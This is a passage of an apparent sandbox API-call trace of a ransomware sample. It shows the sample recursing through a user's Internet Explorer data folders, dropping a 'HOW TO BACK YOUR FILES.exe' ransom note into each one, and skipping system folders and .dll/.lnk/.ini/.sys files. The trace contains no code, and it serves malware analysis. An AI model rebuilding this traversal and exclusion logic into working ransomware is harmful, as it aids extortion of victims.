	[0043.232] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData"
	[0043.232] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5995b8 | out: hHeap=0x580000) returned 1
	[0043.232] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0043.232] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData") returned 82
	[0043.232] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData"
	[0043.232] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.232] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.237] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.237] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x31d7f610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31d7f610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.237] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.237] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.237] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0043.237] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x31d7f610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31d7f610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0043.237] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.237] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0043.237] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0043.237] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0043.237] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31d7f610, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31d7f610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.237] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.237] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1
	[0043.238] lstrcmpiW (lpString1="Low", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.238] lstrcmpiW (lpString1="Low", lpString2="Apollon865.txt.exe") returned 1
	[0043.238] lstrcmpiW (lpString1="Low", lpString2=".") returned 1
	[0043.238] lstrcmpiW (lpString1="Low", lpString2="..") returned 1
	[0043.238] lstrcmpiW (lpString1="Low", lpString2="windows") returned -1
	[0043.238] lstrcmpiW (lpString1="Low", lpString2="bootmgr") returned 1
	[0043.238] lstrcmpiW (lpString1="Low", lpString2="temp") returned -1
	[0043.238] lstrcmpiW (lpString1="Low", lpString2="pagefile.sys") returned -1
	[0043.238] lstrcmpiW (lpString1="Low", lpString2="boot") returned 1
	[0043.238] lstrcmpiW (lpString1="Low", lpString2="ids.txt") returned 1
	[0043.238] lstrcmpiW (lpString1="Low", lpString2="ntuser.dat") returned -1
	[0043.238] lstrcmpiW (lpString1="Low", lpString2="perflogs") returned -1
	[0043.238] lstrcmpiW (lpString1="Low", lpString2="MSBuild") returned -1
	[0043.238] lstrlenW (lpString="Low") returned 3
	[0043.238] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*") returned 84
	[0043.238] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="Low" | out: lpString1="Low") returned="Low"
	[0043.238] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0043.238] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xae) returned 0x5995b8
	[0043.238] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x5b7cb0
	[0043.238] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0
	[0043.238] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.238] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fbf0
	[0043.238] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low"
	[0043.238] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5995b8 | out: hHeap=0x580000) returned 1
	[0043.238] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0043.238] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low") returned 86
	[0043.238] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low"
	[0043.238] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.238] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.244] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.244] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x31d7f610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31d7f610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.244] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.244] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.244] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0043.244] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x31d7f610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31d7f610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0043.244] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.244] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0043.244] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0043.244] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0043.244] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="65UX3YG0", cAlternateFileName="")) returned 1
	[0043.244] lstrcmpiW (lpString1="65UX3YG0", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.244] lstrcmpiW (lpString1="65UX3YG0", lpString2="Apollon865.txt.exe") returned -1
	[0043.244] lstrcmpiW (lpString1="65UX3YG0", lpString2=".") returned 1
	[0043.245] lstrcmpiW (lpString1="65UX3YG0", lpString2="..") returned 1
	[0043.245] lstrcmpiW (lpString1="65UX3YG0", lpString2="windows") returned -1
	[0043.245] lstrcmpiW (lpString1="65UX3YG0", lpString2="bootmgr") returned -1
	[0043.245] lstrcmpiW (lpString1="65UX3YG0", lpString2="temp") returned -1
	[0043.245] lstrcmpiW (lpString1="65UX3YG0", lpString2="pagefile.sys") returned -1
	[0043.245] lstrcmpiW (lpString1="65UX3YG0", lpString2="boot") returned -1
	[0043.245] lstrcmpiW (lpString1="65UX3YG0", lpString2="ids.txt") returned -1
	[0043.245] lstrcmpiW (lpString1="65UX3YG0", lpString2="ntuser.dat") returned -1
	[0043.245] lstrcmpiW (lpString1="65UX3YG0", lpString2="perflogs") returned -1
	[0043.245] lstrcmpiW (lpString1="65UX3YG0", lpString2="MSBuild") returned -1
	[0043.245] lstrlenW (lpString="65UX3YG0") returned 8
	[0043.245] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*") returned 88
	[0043.245] lstrcpyW (in: lpString1=0x2d3e5fe, lpString2="65UX3YG0" | out: lpString1="65UX3YG0") returned="65UX3YG0"
	[0043.245] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0043.245] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc0) returned 0x599bd8
	[0043.245] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x5b7cb0
	[0043.245] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AY721QDR", cAlternateFileName="")) returned 1
	[0043.245] lstrcmpiW (lpString1="AY721QDR", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.245] lstrcmpiW (lpString1="AY721QDR", lpString2="Apollon865.txt.exe") returned 1
	[0043.245] lstrcmpiW (lpString1="AY721QDR", lpString2=".") returned 1
	[0043.245] lstrcmpiW (lpString1="AY721QDR", lpString2="..") returned 1
	[0043.245] lstrcmpiW (lpString1="AY721QDR", lpString2="windows") returned -1
	[0043.245] lstrcmpiW (lpString1="AY721QDR", lpString2="bootmgr") returned -1
	[0043.245] lstrcmpiW (lpString1="AY721QDR", lpString2="temp") returned -1
	[0043.245] lstrcmpiW (lpString1="AY721QDR", lpString2="pagefile.sys") returned -1
	[0043.245] lstrcmpiW (lpString1="AY721QDR", lpString2="boot") returned -1
	[0043.245] lstrcmpiW (lpString1="AY721QDR", lpString2="ids.txt") returned -1
	[0043.245] lstrcmpiW (lpString1="AY721QDR", lpString2="ntuser.dat") returned -1
	[0043.245] lstrcmpiW (lpString1="AY721QDR", lpString2="perflogs") returned -1
	[0043.245] lstrcmpiW (lpString1="AY721QDR", lpString2="MSBuild") returned -1
	[0043.245] lstrlenW (lpString="AY721QDR") returned 8
	[0043.245] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\65UX3YG0") returned 95
	[0043.245] lstrcpyW (in: lpString1=0x2d3e5fe, lpString2="AY721QDR" | out: lpString1="AY721QDR") returned="AY721QDR"
	[0043.246] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0043.246] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc0) returned 0x599ca0
	[0043.246] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x59fbf0
	[0043.246] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DZBKZBIC", cAlternateFileName="")) returned 1
	[0043.246] lstrcmpiW (lpString1="DZBKZBIC", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.246] lstrcmpiW (lpString1="DZBKZBIC", lpString2="Apollon865.txt.exe") returned 1
	[0043.246] lstrcmpiW (lpString1="DZBKZBIC", lpString2=".") returned 1
	[0043.246] lstrcmpiW (lpString1="DZBKZBIC", lpString2="..") returned 1
	[0043.246] lstrcmpiW (lpString1="DZBKZBIC", lpString2="windows") returned -1
	[0043.246] lstrcmpiW (lpString1="DZBKZBIC", lpString2="bootmgr") returned 1
	[0043.246] lstrcmpiW (lpString1="DZBKZBIC", lpString2="temp") returned -1
	[0043.246] lstrcmpiW (lpString1="DZBKZBIC", lpString2="pagefile.sys") returned -1
	[0043.246] lstrcmpiW (lpString1="DZBKZBIC", lpString2="boot") returned 1
	[0043.246] lstrcmpiW (lpString1="DZBKZBIC", lpString2="ids.txt") returned -1
	[0043.246] lstrcmpiW (lpString1="DZBKZBIC", lpString2="ntuser.dat") returned -1
	[0043.246] lstrcmpiW (lpString1="DZBKZBIC", lpString2="perflogs") returned -1
	[0043.246] lstrcmpiW (lpString1="DZBKZBIC", lpString2="MSBuild") returned -1
	[0043.246] lstrlenW (lpString="DZBKZBIC") returned 8
	[0043.246] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\AY721QDR") returned 95
	[0043.246] lstrcpyW (in: lpString1=0x2d3e5fe, lpString2="DZBKZBIC" | out: lpString1="DZBKZBIC") returned="DZBKZBIC"
	[0043.246] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0043.246] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc0) returned 0x599f60
	[0043.246] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x59fc10
	[0043.246] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31d7f610, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31d7f610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.246] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.246] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0043.246] lstrcmpiW (lpString1="index.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.246] lstrcmpiW (lpString1="index.dat", lpString2="Apollon865.txt.exe") returned 1
	[0043.246] lstrcmpiW (lpString1="index.dat", lpString2=".") returned 1
	[0043.246] lstrcmpiW (lpString1="index.dat", lpString2="..") returned 1
	[0043.246] lstrcmpiW (lpString1="index.dat", lpString2="windows") returned -1
	[0043.246] lstrcmpiW (lpString1="index.dat", lpString2="bootmgr") returned 1
	[0043.246] lstrcmpiW (lpString1="index.dat", lpString2="temp") returned -1
	[0043.246] lstrcmpiW (lpString1="index.dat", lpString2="pagefile.sys") returned -1
	[0043.247] lstrcmpiW (lpString1="index.dat", lpString2="boot") returned 1
	[0043.247] lstrcmpiW (lpString1="index.dat", lpString2="ids.txt") returned 1
	[0043.247] lstrcmpiW (lpString1="index.dat", lpString2="ntuser.dat") returned -1
	[0043.247] lstrcmpiW (lpString1="index.dat", lpString2="perflogs") returned -1
	[0043.247] lstrcmpiW (lpString1="index.dat", lpString2="MSBuild") returned -1
	[0043.247] lstrlenW (lpString="index.dat") returned 9
	[0043.247] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\DZBKZBIC") returned 95
	[0043.247] lstrcpyW (in: lpString1=0x2d3e5fe, lpString2="index.dat" | out: lpString1="index.dat") returned="index.dat"
	[0043.247] lstrlenW (lpString="index.dat") returned 9
	[0043.247] lstrlenW (lpString="Apollon865") returned 10
	[0043.247] lstrlenW (lpString=".dll") returned 4
	[0043.247] lstrcmpiW (lpString1="index.dat", lpString2=".dll") returned 1
	[0043.247] lstrlenW (lpString=".lnk") returned 4
	[0043.247] lstrcmpiW (lpString1="index.dat", lpString2=".lnk") returned 1
	[0043.247] lstrlenW (lpString=".ini") returned 4
	[0043.247] lstrcmpiW (lpString1="index.dat", lpString2=".ini") returned 1
	[0043.247] lstrlenW (lpString=".sys") returned 4
	[0043.247] lstrcmpiW (lpString1="index.dat", lpString2=".sys") returned 1
	[0043.247] lstrlenW (lpString="index.dat") returned 9
	[0043.247] lstrcpyW (in: lpString1=0x2d3e5fe, lpString2="VRLZOZ0E" | out: lpString1="VRLZOZ0E") returned="VRLZOZ0E"
	[0043.247] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0043.247] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc0) returned 0x59a028
	[0043.247] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0043.247] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VRLZOZ0E", cAlternateFileName="")) returned 0
	[0043.247] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.247] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc50
	[0043.247] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\VRLZOZ0E", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\VRLZOZ0E") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\VRLZOZ0E"
	[0043.247] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a028 | out: hHeap=0x580000) returned 1
	[0043.247] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0043.248] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\VRLZOZ0E") returned 95
	[0043.248] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\VRLZOZ0E" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\VRLZOZ0E") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\VRLZOZ0E"
	[0043.248] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.248] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\VRLZOZ0E\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\vrlzoz0e\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.252] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.252] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\VRLZOZ0E\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x31da5770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31da5770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.252] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.252] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.252] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0043.252] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x31da5770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31da5770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0043.252] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.252] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0043.252] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0043.252] lstrcmpiW (lpString1="..", lpString2="..") returned 0
